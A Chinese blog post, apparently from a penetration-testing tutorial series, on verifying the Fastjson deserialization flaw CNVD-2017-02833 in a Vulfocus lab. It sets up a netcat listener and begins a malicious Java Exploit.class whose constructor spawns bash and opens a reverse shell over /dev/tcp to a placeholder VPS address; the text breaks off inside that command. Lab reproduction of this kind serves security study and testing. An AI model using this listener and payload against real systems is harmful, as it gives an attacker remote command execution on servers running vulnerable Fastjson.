【安全攻防知识-9】Fastjson(CNVD-2017-02833）验证

最新推荐文章于 2024-03-10 17:06:04 发布

BridyWang

最新推荐文章于 2024-03-10 17:06:04 发布

阅读量759

点赞数

分类专栏：内网渗透 WEB安全文章标签：信息安全渗透测试

本文链接：https://blog.csdn.net/qq_26579613/article/details/125523294

版权

1、登陆vulfocus，打开fastjson环境

Vulfocus 漏洞威胁分析平台

2、服务器配置

2.1 打开端口代理

nc -lvvp 1888

2.2 挂载恶意Java程序

首先，编写恶意EXP，命名 Exploit.class，其中x.x.x.x为vps地址，1888为LADP监听端口

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5;